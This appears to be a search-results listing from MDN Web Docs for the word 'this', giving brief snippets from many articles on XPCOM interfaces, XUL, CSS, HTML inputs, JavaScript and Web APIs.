this: nsresult rv; nscomptr<nsixpconnect> xpconnect = do_getservice(nsixpconnect::getcid(), &rv); if (ns_succeeded(rv)) { /* use the object */ } method overview void addjsholder(in voidptr aholder, in nsscriptobjecttracerptr atracer); native code only!
... nsistackframe createstackframelocation(in pruint32 alanguage, in string afilename, in string afunctionname, in print32 alinenumber, in nsistackframe acaller); void debugdump(in short depth); void debugdumpevalinjsstackframe(in pruint32 aframenumber, in string asourcetext); void debugdumpjsstack(in prbool showargs, in prbool showlocals, in prbool show
thisprops); void debugdumpobject(in nsisupports acomobj, in short depth); [noscript,notxpcom] prbool definedomquickstubs(in jscontextptr cx, in jsobjectptr proto, in pruint32 flags, in pruint32 interfacecount, [array, size_is(interfacecount)] in nsiidptr interfacearray); jsval evalinsandboxobject(in astring source, in jscontextptr cx, in nsixpconnectjsobjectholder sandbox, ...
... obsolete since gecko 2.0 void getdefaultsecuritymanager(out nsixpcsecuritymanager amanager, out pruint16 flags); nsixpcfunction
thistranslator getfunction
thistranslator(in nsiidref aiid); jsobjectptr getjsobjectofwrapper(in jscontextptr ajscontext, in jsobjectptr ajsobj); [noscript, notxpcom] nsisupports getnativeofwrapper(in jscontextptr ajscontext, in jsobjectptr ajsobj); void getsecuritymanagerforjscontext(in jscontextptr ajscontext, out nsixpcsecuritymanager amanager, out pruint16 flags); ...
...And 31 more matches
Reference Manual
this section will help you if you're already familiar with nscomptr but you need details.
...in debug builds, if you subvert
this invariant with one of the assignment forms that doesn't call queryinterface, nscomptr will assert at runtime in the bad assignment.
... nscomptr<nsifoo> foo = bar; // ns_assertion: "queryinterface needed" // ...even assuming you can get the line to compile // (either by casting, or because the types are related by c )
this invariant is relaxed for nscomptr<nsisupports>.
...And 31 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
in
this guide we will be exploring the three properties that are applied to flex items, which enable us to control the size and flexibility of the items along the main axis — flex-grow, flex-shrink, and flex-basis.
... a first look our three properties control the following aspects of a flex item's flexibility: flex-grow: how much of the positive free space does
this item get?
... flex-shrink: how much negative free space can be removed from
this item?
...And 31 more matches
package.json - Archive of obsolete content
it looks like
this (assuming the add-on's directory is "my-addon"): { "name": "my-addon", "title": "my-addon", "id": "jid1-1fergv45e4f4f@jetpack", "description": "a basic add-on", "author": "", "license": "mpl-2.0", "version": "0.1" } if you are using the new jpm tool, you can easily access manifest data from package.json by requiring it like any other module: var title = require("./package.json").
...title; key reference package.json may contain the following keys: author the name of the package's original author;
this could be the name of a person or a company.
...
this value will be used as the add-on's em:creator element in the install.rdf file generated by cfx.
...And 30 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
abstract
this document is a concrete example of a centralized auto-configuration of mozilla apps, that are; firefox, thunderbird, mozilla suite 1.x.x, seamonkey and for the record, old netscape 4.x.
...
this mcd (aka autoconfig here), is not to be confused with https://wiki.mozilla.org/thunderbird...oconfiguration .
...
this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, common name , language, homepage etc...) from the enterprise directory.
...And 30 more matches
Reading from Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...var file = io.getfile("home", "sample.txt"); var stream = io.newinputstream(file, "text");
this example first retrieves a file object using nsiscriptableio.getfile().
... in
this case, the file 'sample.txt' within the user's home directory is retrieved.
...And 30 more matches
Element Positioning - Archive of obsolete content
for
this, we first need to look at how a box works.
...an example is shown below: example 1: source view <button label="ok" width="100" height="40"/> however, it is not recommended that you do
this.
... width
this specifies the width of the element.
...And 30 more matches
nsIContentPolicy - Archive of obsolete content
implementations of
this interface can be used to control the loading of various types of out-of-line content, or the processing of certain types of inline content.
...
this interface can be very useful if you are developing a content-aware plugin (blocking ads or altering the look of content, for example), or if you want to stop or allow user-browsed urls.
... warning: do not block the caller in your implementations of shouldload() or shouldprocess() (for example, by launching a dialog to prompt the user for something).") note: in reality, much of
this interface is defined in the nsicontentpolicybase interface, but for now is documented here until someone has time to split things up.
...And 30 more matches
Cascade and inheritance - Learn web development
overview: building blocks next the aim of
this lesson is to develop your understanding of some of the most fundamental concepts of css — the cascade, specificity, and inheritance — which control how css is applied to html and how conflicts are resolved.
... while working through
this lesson may seem less immediately relevant and a little more academic than some other parts of the course, an understanding of these things will save you much pain later on!
... we encourage you to work through
this section carefully, and check that you understand the concepts before moving on.
...And 30 more matches
The box model - Learn web development
in
this lesson, we will take a proper look at the css box model so that you can build more complex layout tasks with an understanding of how it works and the terminology that relates to it.
...in most cases
this means that the box will become as wide as its container, filling up 100% of the space available.
... aside: inner and outer display types at
this point, we'd better also explain inner and outer display types.
...And 30 more matches
Responsive design - Learn web development
it is an idea that changed the way we design for a multi-device web, and in
this article, we'll help you understand the main techniques you need to know to master it.
... note: see
this simple liquid layout: example, source code.
... when viewing the example, drag your browser window in and out to see how
this looks at different sizes.
...And 30 more matches
Sending form data - Learn web development
this article looks at what happens when a user submits a form — where does the data go, and how do we handle it when it gets there?
...
this enables the user to provide information to be delivered in the http request.
...if
this attribute isn't provided, the data will be sent to the url of the page containing the form — the current page.
...And 30 more matches
UI pseudo-classes - Learn web development
this included some usage of pseudo-classes, for example using :checked to target a checkbox only when it is selected.
... in
this article, we will explore in detail the different ui pseudo-classes available to us in modern browsers for styling forms in different states.
...
this is really useful when you want to add a visual indicator to an element, such as a label or icon, but don't want it to be picked up by assistive technologies.
...And 30 more matches
Arrays - Learn web development
previous overview: first steps next in the final article of
this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name.
... here we look at why
this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides.
...
this would be much longer to write out, less efficient, and more error-prone.
...And 30 more matches
HTTP Cache
this document describes the new http cache version 2.
...
this document only contains what cannot be found or may not be clear directly from the idl files comments.
... currently we have 3 types of storages, all the access methods return an nsicachestorage object: memory-only (memorycachestorage): stores data only in a memory cache, data in
this storage are never put to disk disk (diskcachestorage): stores data on disk, but for existing entries also looks into the memory-only storage; when instructed via a special argument also primarily looks into application caches application cache (appcachestorage): when a consumer has a specific nsiapplicationcache (i.e.
...And 30 more matches
nss tech note1
this was written to be a generic decoder, that includes both der (distinguished encoding rules) and ber (basic encoding rules).† it handles both streaming and non-streaming input.
...
this decoder was written when performance issues were discovered with the classic decoder.
...for
this reason, i will first describe all the common functionality of the two decoders, before outlining their differences.
...And 30 more matches
imgIContainer
internally,
this interface also manages animation of images.
...gned long framenumber); obsolete since gecko 2.0 void setframetimeout(in unsigned long framenumber, in print32 atimeout); obsolete since gecko 2.0 void startanimation(); obsolete since gecko 2.0 void stopanimation(); obsolete since gecko 2.0 void unlockimage(); attributes attribute type description animated boolean whether
this image is animated.
... you can only be guaranteed that querying
this will not throw if status_decode_complete is set on the imgirequest.
...And 30 more matches
nsIMsgDBHdr
inherits from: nsisupports
this interface is usually given to you in return to a query from the message database.
...it is also mandatory to set msghdr.folder.msgdatabase = null after performing
this kind of operations to prevent leaking.
... iskilled boolean readonly: indicates whether or not
this message belongs to a subthread that has been ignored in the ui.
...And 30 more matches
nsINavBookmarkObserver
toolkit/components/places/nsinavbookmarksservice.idlscriptable
this interface is an observer for bookmark changes.
...g long aparentid, in acstring aguid, in acstring aparentguid); void onseparatoradded(in print64 parent, in print32 index); obsolete since gecko 1.9 void onseparatorremoved(in print64 parent, in print32 index); obsolete since gecko 1.9 methods onbeforeitemremoved() obsolete since gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) note:
this method was removed in gecko 21.0 as part of bug 826409.
...
this method notifies
this observer that an item is about to be removed.
...And 30 more matches
nsINavHistoryResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscriptable
this is the base class for all places history result nodes, containing the uri, title, and other general information.
...for hosts,
this is the total number of the children under it, rather than the total number of times the host has been accessed (getting that information would require an additional query, so for performance reasons that information isn't given by default).
... bookmarkindex long when
this item is in a bookmark folder (its parent is of type folder),
this is the index into that folder at which
this node resides.
...And 30 more matches
Box-shadow generator - CSS: Cascading Style Sheets
this tool lets you construct css box-shadow effects, to add box shadow effects to your css objects.
...nager = (function slidermanager() { var subscribers = {}; var sliders = []; var slider = function(node) { var min = node.getattribute('data-min') | 0; var max = node.getattribute('data-max') | 0; var step = node.getattribute('data-step') | 0; var value = node.getattribute('data-value') | 0; var snap = node.getattribute('data-snap'); var topic = node.getattribute('data-topic');
this.min = min;
this.max = max > 0 ?
... max : 100;
this.step = step === 0 ?
...And 30 more matches
<input type="email"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this doesn't necessarily mean the e-mail address exists, but it is at least formatted correctly.
... in simple terms,
this means username@domain or username@domain.tld.
...And 30 more matches
HTML documentation index - HTML: Hypertext Markup Language
this article is a primer introducing each of the ways css color can be used in html.
...by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block."
this article helps to explain what
this means.
...the formats of the strings that specify these values are described in
this article.
...And 30 more matches
Index - HTTP
browsers set adequate values for
this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script.
...browsers usually don't set
this header as the default value for each content type is usually correct and transmitting it would allow easier fingerprinting.
...browsers set adequate values for
this header according to their user interface language and even if a user can change it,
this happens rarely (and is frowned upon as it leads to fingerprinting).
...And 30 more matches
Working with objects - JavaScript
this chapter describes how to use objects, properties, functions, and methods, and how to create your own objects.
...
this notation is also very useful when property names are to be dynamically determined (when the property name is not determined until runtime).
...for example, in the above code, when the key obj is added to the myobj, javascript will call the obj.tostring() method, and use
this result string as the new key.
...And 30 more matches
SVG documentation index - SVG: Scalable Vector Graphics
this article lists these types along with their syntax and descriptions of what they're used for.
... 7 example svg, xml in
this example, we use xhtml, svg, javascript, and the dom to animate a swarm of "motes".
...combined, we get
this very natural-looking behavior.
...And 30 more matches
Setting Up a Development Environment - Archive of obsolete content
all of our examples are handled with komodo edit, so if you see a .kpf or .komodoproject file in an example you download,
this is a komodo project file.
...we chose make because
this is the same system used by mozilla to build firefox, and it is available for all operating systems.
... we recommend you set up make in your system, since our examples come with all the necessary files to build and install the resulting xpi using
this tool.
...And 29 more matches
New Skin Notes - Archive of obsolete content
this is currently just a preview, but we would appreciate help with testing.
... please add any feedback to
this page.
...--callek i tried
this, but it gets totally screwed up in ie for some reason.
...And 29 more matches
Venkman Introduction - Archive of obsolete content
warning: the content of
this article may be out of date.
...
this article provides an overview and some practical examples of using the javascript debugger in web applications and web page scripting.
...
this introduction is the first in a series of articles on venkman and javascript debugging.
...And 29 more matches
Menus - Archive of obsolete content
this type of menu is usually used for commands that apply to the entire application.
...instead of creating a standard button,
this will create a button with a small arrow or other indicator.
...
this type of menu would be used when you want to have a set of commands yet don't want to use a menu bar, for example in a dialog box.
...And 29 more matches
OpenClose - Archive of obsolete content
a simple example: somemenu.open = true;
this single line of code will open a menu referenced by the variable 'somemenu'.
...here is a complete example which uses a button to open a menu: <button label="open menu" oncommand="document.getelementbyid('editmenu').open = true;"/> <menu id="editmenu" label="edit"> <menupopup> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </menu>
this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag.
...in
this case, the parent menu must be opened first.
...And 29 more matches
PopupEvents - Archive of obsolete content
an overview of these is listed below: contextmenu
this event is fired when a request is made to open a context menu, whether by the keyboard or mouse.
...
this event will be fired even for elements that don't have a context menu associated with them.
... for more information about how to use
this event, see context menu events.
...And 29 more matches
wizard - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is used to construct a step-by-step wizard found in some applications to guide users through a task.
...
this element provides the header and buttons along the bottom, and also handles navigation between the pages.
...moreover
this hides separator between titlebar and window contents.
...And 29 more matches
RDF in Mozilla FAQ - Archive of obsolete content
but if you do something interesting with
this content (eg.
...
this is like overlaying graphs, or merging collections of statements ("microtheories") together.
...both datasources refer to "website" by url:
this is the "key" that allows the datasources to be "merged" effectively.
...And 29 more matches
HTML text fundamentals - Learn web development
this article explains the way html can be used to structure a page of text by adding headings and paragraphs, emphasizing words, creating lists, and more.
... implementing structural hierarchy for example, in
this story, the <h1> element represents the title of the story, the <h2> elements represent the title of each chapter, and the <h3> elements represent sub-sections of each chapter: <h1>the crushing bore</h1> <p>by chris mills</p> <h2>chapter 1: the dark night</h2> <p>it was a dark night.
...you just need to bear in mind a few best practices as you create such structures: preferably, you should use a single <h1> per page—
this is the top level heading, and all others sit below
this in the hierarchy.
...And 29 more matches
Storing the information you need — Variables - Learn web development
in
this article, we will get down to the real basics, looking at how to work with the most basic building blocks of javascript — variables.
... tools you need throughout
this article, you'll be asked to type in lines of code to test your understanding of the content.
... if you are using a desktop browser, the best place to type your sample code is your browser's javascript console (see what are browser developer tools for more information on how to access
this tool).
...And 29 more matches
JavaScript object basics - Learn web development
overview: objects next in
this article, we'll look at fundamental javascript object syntax, and revisit some javascript features that we've already seen earlier in the course, reiterating the fact that many of the features you've already dealt with are objects.
... objective: to understand the basic theory behind object-oriented programming, how
this relates to javascript ("most things are objects"), and how to start working with javascript objects.
...
this contains very little — a <script> element for us to write our source code into.
...And 29 more matches
Framework main features - Learn web development
this article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level, and the differences between them.
... domain-specific languages all of the frameworks discussed in
this module are powered by javascript, and all allow you to use domain-specific languages (dsls) in order to build your applications.
...unlike html, these languages know how to read data variables, and
this data can be used to streamline the process of writing your ui.
...And 29 more matches
Componentizing our Svelte app - Learn web development
the central objective of
this article is to look at how to break our app into manageable components and share information between them.
... there are no hard rules for
this.
...each visible todo item will be displayed in a separate copy of
this component.
...And 29 more matches
Vue conditional rendering: editing existing todos - Learn web development
to do
this, we will take advantage of vue's conditional rendering capabilities — namely v-if and v-else — to allow us to toggle between the existing todo item view, and an edit view where you can update todo item labels.
...an> </button> <button type="submit" class="btn btn__primary"> save <span class="visually-hidden">edit for {{label}}</span> </button> </div> </form> </template> <script> export default { props: { label: { type: string, required: true }, id: { type: string, required: true } }, data() { return { newlabel:
this.label }; }, methods: { onsubmit() { if (
this.newlabel &&
this.newlabel !==
this.label) {
this.$emit("item-edited",
this.newlabel); } }, oncancel() {
this.$emit("edit-cancelled"); } } }; </script> <style scoped> .edit-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #0...
...
this is a useful way to help reinforce everything you've learned so far.
...And 29 more matches
mozIStorageConnection
storage/public/mozistorageconnection.idlscriptable
this interface represents a database connection attached to a specific file or an in-memory database.
... 1.0 68 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use
this interface, see storage.
...
this will be false if the connection failed to open, or it has been closed.
...And 29 more matches
nsIHttpChannel
netwerk/protocol/http/nsihttpchannel.idlscriptable
this interface allows for the modification of http request parameters and the inspection of the resulting http response status and headers when they become available.
...origin only send the origin of the referring uri referrer_policy_origin_when_xorigin same as the default; only send the origin of the referring uri for cross-origin requests referrer_policy_unsafe_url always send the referrer, even when downgrading from https to http attributes attribute type description allowpipelining boolean
this attribute is a hint to the channel to indicate whether or not the underlying http transaction should be allowed to be pipelined with other transactions.
...
this should be set to false, for example, if the application knows that the corresponding document is likely to be very large.
...And 29 more matches
Drawing shapes with canvas - Web APIs
by the end of
this article, you will have learned how to draw rectangles, triangles, lines, arcs and curves, providing familiarity with some of the basic shapes.
...to the right, you see
this canvas with the default grid overlayed.
...the origin of
this grid is positioned in the top left corner at coordinate (0,0).
...And 29 more matches
Capabilities, constraints, and settings - Web APIs
figuring
this out has often been difficult, and has usually involved looking at some combination of which user agent (or browser) you're running on, which version it is, looking to see if certain objects exist, trying to see whether various things work or not and determining what errors occur, and so forth.
... the result has been a lot of very fragile code, or a reliance on libraries which figure
this stuff out for you, then implement polyfills to patch the holes in the implementation on your behalf.
...
this article discusses capabilities and constraints, as well as media settings, and includes an example we call the constraint exerciser.
...And 29 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
this article is a primer introducing each of the ways css color can be used in html.
...
this is used primarily when drawing text for east asian languages.
...
this is only useful in elements that are editable, such as <input> and <textarea> or elements whose html contenteditable attribute is set.
...And 29 more matches
<input type="search"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...you can retrieve
this using the htmlinputelement.value property in javascript.
...the <datalist> provides a list of predefined values to suggest to the user for
this input.
...And 29 more matches
<input type="tel"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...the <datalist> provides a list of predefined values to suggest to the user for
this input.
...the values provided are suggestions, not requirements: users can select from
this predefined list or provide a different value.
...And 29 more matches
Grammar and types - JavaScript
« previousnext »
this chapter discusses javascript's basic grammar, variable declarations, data types and literals.
...
this practice reduces the chances of bugs getting into the code.
...(spaces, tabs, and newline characters are considered whitespace.) comments the syntax of comments is the same as in c++ and in many other languages: // a one line comment /*
this is a longer, * multi-line comment */ /* you can't, however, /* nest comments */ syntaxerror */ comments behave like whitespace, and are discarded during script execution.
...And 29 more matches
Inheritance and the prototype chain - JavaScript
by definition, null has no prototype, and acts as the final link in
this prototype chain.
... while
this confusion is often considered to be one of javascript's weaknesses, the prototypal inheritance model itself is, in fact, more powerful than the classic model.
...
this is equivalent to the javascript property __proto__ which is non-standard but de-facto implemented by many browsers.
...And 29 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
draft
this page is not complete.
... « previous
this document was authored by taro (btm) matsuzawa and was originally published in japanese for the firefox developers conference summer 2007.
... matsuzawa-san is a co-author of firefox 3 hacks (o'reilly japan, 2008.)
this chapter discusses tools to assist in developing extensions.
...And 28 more matches
In-Depth - Archive of obsolete content
this is only a list of properties which may be useful to you; it is in no way all of the mozilla specific properties available.
...possible are (
this is probably an incomplete list): none - (!important may be needed) will override the operating system default.
... use
this when you want one or two controls to look different from the operating systems defaults.
...And 28 more matches
menulist - Archive of obsolete content
ethods appenditem, contains, getindexofitem, getitematindex, insertitemat, removeallitems, removeitemat, select examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
...if you wish to use the value none and the displayed text is larger than
this maximum width, you may be able to use the max-width css property (or the maxwidth attribute) to override
this size.
...And 28 more matches
panel - Archive of obsolete content
this limitation was resolved as of firefox 4.0.
...
this attribute should be used instead of setconsumerollupevent.
...for example, if the menu doesn't have room to open downward, it flips to open upward instead;
this is a vertical flip.
...And 28 more matches
Basic math in JavaScript — numbers and operators - Learn web development
previous overview: first steps next at
this point in the course we discuss math in javascript — how we can use operators and other features to successfully manipulate numbers to do our bidding.
...
this is especially true when we are learning to program javascript (or any other language for that matter) — so much of what we do relies on processing numerical data, calculating new values, and so on, that you won't be surprised to learn that javascript has a full-featured set of math functions available.
...
this article discusses only the basic parts that you need to know now.
...And 28 more matches
Website security - Learn web development
this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks.
... the rest of
this article gives you more details about a few common threats and some of the simple steps you can take to protect your site.
... note:
this is an introductory topic, designed to help you start thinking about website security, but it is not exhaustive.
...And 28 more matches
Ember interactivity: Events, classes and state - Learn web development
previous overview: client-side javascript frameworks next at
this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items.
...in the below sections we’ll do
this for each component, and then walk you through how the functionality can be implemented.
...we do
this so that our javascript code knows what we typed in, and we can save our todo and pass that text along to the todo list component to display.
...And 28 more matches
Focus management with Vue refs - Learn web development
we'll look at using vue refs to handle
this — an advanced feature that allows you to have direct access to the underlying dom nodes below the virtual dom, or direct access from one component to the internal dom structure of a child component.
...
this can be disorienting for keyboard and non-visual users.
...
this behavior can be jarring.
...And 28 more matches
Adding a new event
this draft document covers how to add a new event to the mozilla (firefox) source code.
...
this type of event is useful if the event isn't handled by c++ code.
...
this type of event allows c++ code to handle it easier.
...And 28 more matches
WebRequest.jsm
you can use
this api to implement a content policy in an add-on (for example, an ad or script blocker), as you could using nsicontentpolicy.
... more generally, you can also use
this api instead of http request observers.
...there are some differences between
this api and chrome's, though: see chrome incompatibilities for the details.
...And 28 more matches
Redis Tips
this document is a collection of some examples and tips for using redis, the open-source data structure server.
... technically,
this is true: it's a database that doesn't use sql.
... redis data types include: strings hashes lists sets ordered sets (called zsets in redis) transactions publishers and subscribers
this table lists some common programming tasks and data structures, and suggests some redis functions or data structures for them: dictionary lookup set, get, setnx, etc.
...And 28 more matches
nsILoginManagerStorage
toolkit/components/passwordmgr/public/nsiloginmanagerstorage.idlscriptable
this interface is implemented by modules that wish to provide storage mechanisms for the login manager.
... countlogins() implement
this method to return the number of logins matching the specified criteria.
...
this method is called, for example, to check to see if there is a login that will match the criteria without having to ask the user for their master password in order to decrypt the logins.
...And 28 more matches
Streams - Plugins
« previousnext »
this chapter describes using plug-in api functions to receive and send streams.
...in general,
this mode is more expensive, because the entire stream must be downloaded to a temporary file before use unless the stream comes from a local file or an http server that supports the byte-range extension to http.
...use
this feature only as a last resort; plug-ins should implement an incremental stream-based interface wherever possible.
...And 28 more matches
Using files from web applications - Web APIs
this selection can be done by either using an html <input type="file"> element or by drag and drop.
... accessing selected file(s) consider
this html: <input type="file" id="input" multiple> the file api makes it possible to access a filelist containing file objects representing the files selected by the user.
...you need to use eventtarget.addeventlistener() to add the change event listener, like
this: const inputelement = document.getelementbyid("input"); inputelement.addeventlistener("change", handlefiles, false); function handlefiles() { const filelist =
this.files; /* now you can work with the file list */ } getting information about selected file(s) the filelist object provided by the dom lists all of the files selected by the user, each specified as a file object.
...And 28 more matches
Window.open() - Web APIs
this can be a path or url to an html page, image file, or any other resource that is supported by the browser.
...
this name can be used as the target for the target attribute of <a> or <form> elements.
...keep in mind that
this will not be used as the window's title.
...And 28 more matches
HTML attribute reference - HTML: Hypertext Markup Language
autocapitalize global attribute sets whether input is automatically capitalized when entered by user autocomplete <form>, <input>, <select>, <textarea> indicates whether controls in
this form can by default have their values automatically completed by the browser.
... note: although browsers and email clients may still support
this attribute, it is obsolete.
... note:
this is a legacy attribute.
...And 28 more matches
<input type="submit"> - HTML: Hypertext Markup Language
this label is likely to be something along the lines of "submit" or "submit query." here's an example of a submit button with a default label in your browser: <input type="submit"> additional attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the url to whic...
...
this takes precedence over the action attribute on the <form> element that owns the <input>.
...
this attribute is also available on <input type="image"> and <button> elements.
...And 28 more matches
<th> - HTML: Hypertext Markup Language
the exact nature of
this group is defined by the scope and headers attributes.
... the source for
this interactive example is stored in a github repository.
... implicit aria role columnheader or rowheader permitted aria roles any dom interface htmltableheadercellelement attributes
this element includes the global attributes.
...And 28 more matches
Using the WebAssembly JavaScript API - WebAssembly
this article teaches you what you’ll need to know.
... note: if you are unfamiliar with the basic concepts mentioned in
this article and need more explanation, read webassembly concepts first, then come back.
...we need to reflect
this two-level namespace in javascript when writing the object to be imported into the wasm module.
...And 28 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
firefox allows all of
this by default, and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest.
...
this is very important because the toolbar customization dialog won't work correctly without
this.
... the way to include the file in the manifest is to add
this line: style chrome://global/content/customizetoolbar.xul chrome://xulschoolhello/skin/toolbar.css if you are using xbl bindings (explained way ahead) for your toolbar items, you'll have to include the css files for those as well, each in a new line like the one above.
...And 27 more matches
Tabbed browser - Archive of obsolete content
furthermore another meaning of 'browser' in
this document and in some firefox source is "the tabbrowser element" in a firefox xul window.
... .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.gbrowser.addtab(...); from a dialog if your code is running in a dialog opened directly by a browser window, you can use: window.opener.gbrowser.addtab(...); if window.opener doesn't work, you can get the most recent browser window using
this code: var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); mainwindow.gbrowser.addtab(...); opening a url in a new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.addtab(...
...
this will only work in an overlay of browser.xul.
...And 27 more matches
Tree View Details - Archive of obsolete content
« previousnext »
this section will describe some more features of tree views.
...
this is a fairly tricky process as it involves keeping track of which items have children and also which rows are open and closed.
...the tree will use
this information to determine the hierarchical structure of the rows.
...And 27 more matches
Trees - Archive of obsolete content
this contrasts with the listbox, where individual listitem and listcell tags are used to specify the rows in the listbox.
...when it comes time to display a cell, the tree widget will call out to
this tree view to determine what to display, which in turn will be drawn by the tree.
...
this allows the view to be optimized such that it only needs to load the data for displayed content.
...And 27 more matches
button - Archive of obsolete content
ed, command, crop, dir, disabled, dlgtype, group, icon, image, label, open, orient, tabindex, type properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <button label="press me" oncommand="alert('you pressed me!');"/> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
... autocheck type: boolean if
this attribute is true or left out, the checked state of the button will be switched each time the button is pressed.
...And 27 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
this document introduces the basic concepts of public-key cryptography.
... with
this arrangement, the user must supply a new password for each server, and the administrator must keep track of the name and password for each user, typically on separate servers.
...
this makes certain kinds of brute-force atacks more difficult.
...And 27 more matches
Basic native form controls - Learn web development
in
this particular article we will look at the original set of form controls, available in all browsers since the early days of the web.
...
this article covers: the common input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text.
... note: the features discussed in
this article are supported in all browsers, which is not the case for all form controls.
...And 27 more matches
What’s in the head? Metadata in HTML - Learn web development
it contains information such as the page <title>, links to css (if you choose to style your html content with css), links to custom favicons, and other metadata (data about the html, such as the author, and important keywords that describe the document.) in
this article we'll cover all of the above and more, in order to give you a good basis for working with markup.
... let's revisit the simple html document we covered in the previous article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>
this is my page</p> </body> </html> the html head is the contents of the <head> element — unlike the contents of the <body> element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page.
... adding a title we've already seen the <title> element in action —
this can be used to add a title to the document.
...And 27 more matches
Understanding client-side JavaScript frameworks - Learn web development
in
this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks.
...
this article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level and the differences between them.
...getting started with react in
this article we will say hello to react.
...And 27 more matches
Introduction to cross browser testing - Learn web development
overview: cross browser testing next
this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages.
...as long as the site owner is happy with
this, then you have done your job.
... second, when we say "across an acceptable number of web browsers", we don't mean 100% of the browsers in the world —
this is just about impossible.
...And 27 more matches
Exact Stack Rooting
this guide is intended for spidermonkey hackers!
... introduction
this guide explains the basics of interacting with the gc from spidermonkey.
...the method you should use to keep the gc up-to-date with
this information will vary depending on where the gcpointer is being stored.
...And 27 more matches
nsICachingChannel
netwerk/base/public/nsicachingchannel.idlscriptable please add a summary to
this article.
... inherits from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this interface provides: support for "stream as file" semantics (for jar and plugins).
... a channel may optionally implement
this interface to allow clients to affect its behavior with respect to how it uses the cache service.
...And 27 more matches
Storage
getting started
this document covers the storage api and some peculiarities of sqlite.
...ample of opening my_db_file_name.sqlite in the profile directory: components.utils.import("resource://gre/modules/services.jsm"); components.utils.import("resource://gre/modules/fileutils.jsm"); let file = fileutils.getfile("profd", ["my_db_file_name.sqlite"]); let dbconn = services.storage.opendatabase(file); // will also create the file if it does not exist likewise, the c++ would look like
this: nscomptr<nsifile> dbfile; rv = ns_getspecialdirectory(ns_app_user_profile_50_dir, getter_addrefs(dbfile)); ns_ensure_success(rv, rv); rv = dbfile->append(ns_literal_string("my_db_file_name.sqlite")); ns_ensure_success(rv, rv); nscomptr<mozistorageservice> dbservice = do_getservice(moz_storage_service_contractid, &rv); ns_ensure_success(rv, rv); nscomptr<mozistorag...
... warning: it may be tempting to give your database a name ending in '.sdb' for sqlite database, but
this is not recommended.
...And 27 more matches
A simple RTCDataChannel sample - Web APIs
in
this example, we will open an rtcdatachannel connection linking two elements on the same page.
...
this <div> will be the first peer in the channel.
...
this <div> block will be the second peer.
...And 27 more matches
Writing WebSocket servers - Web APIs
this is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server.
...
this article assumes you're already familiar with how http works, and that you have a moderate level of programming experience.
...the scope of
this guide is to present the minimum knowledge you need to write a websocket server.
...And 27 more matches
Starting up and shutting down a WebXR session - Web APIs
you will learn how to do these things in
this article.
...
this object represents the overall webxr device suite available to you through the hardware and drivers available on the user's equipment.
... emulator usage while somewhat awkward compared to using an actual headset,
this makes it possible to experiment with and developer webxr code on a desktop computer, where webxr isn't normally available.
...And 27 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
in
this tutorial, we're going to cover sound creation and modification, as well as timing and scheduling.
... demo we're going to be looking at a very simple step sequencer: in practice
this is easier to do with a library — the web audio api was built to be built upon.
...when the instrument plays, it will move across
this set of beats and loop the bar.
...And 27 more matches
Cross-browser audio basics - Developer guides
